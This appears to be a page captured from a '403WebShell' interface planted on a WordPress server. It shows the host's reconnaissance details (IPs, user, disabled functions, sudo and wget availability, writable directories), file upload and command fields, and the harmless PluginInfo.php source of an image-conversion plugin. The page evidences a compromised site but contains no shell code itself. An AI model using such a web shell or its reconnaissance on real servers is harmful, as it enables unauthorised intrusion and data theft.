Uname:Linux antigravity-cli 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64

Base Dir : /var/www/moonbloom

User : wp-moonbloom


403WebShell
403Webshell
Server IP : 85.155.190.233  /  Your IP : 216.73.216.103
Web Server : nginx/1.24.0
System : Linux antigravity-cli 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User : wp-moonbloom ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/moonbloom/wp-content/plugins/webp-converter-for-media/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/moonbloom/wp-content/plugins/webp-converter-for-media/src/PluginInfo.php
<?php

namespace WebpConverter;

/**
 * Stores information about the plugin.
 */
class PluginInfo {

	private string $plugin_file;

	private string $plugin_version;

	private string $plugin_basename;

	private string $plugin_directory_path;

	private string $plugin_directory_url;

	/**
	 * @param string $plugin_file    Path to the main plugin file.
	 * @param string $plugin_version .
	 */
	public function __construct( string $plugin_file, string $plugin_version ) {
		$this->plugin_file           = $plugin_file;
		$this->plugin_version        = $plugin_version;
		$this->plugin_basename       = plugin_basename( $plugin_file );
		$this->plugin_directory_path = plugin_dir_path( $plugin_file );
		$this->plugin_directory_url  = plugin_dir_url( $plugin_file );
	}

	public function get_plugin_file(): string {
		return $this->plugin_file;
	}

	public function get_plugin_version(): string {
		return $this->plugin_version;
	}

	public function get_plugin_basename(): string {
		return $this->plugin_basename;
	}

	public function get_plugin_slug(): string {
		return dirname( $this->plugin_basename );
	}

	public function get_plugin_directory_path(): string {
		return $this->plugin_directory_path;
	}

	public function get_plugin_directory_url(): string {
		return $this->plugin_directory_url;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit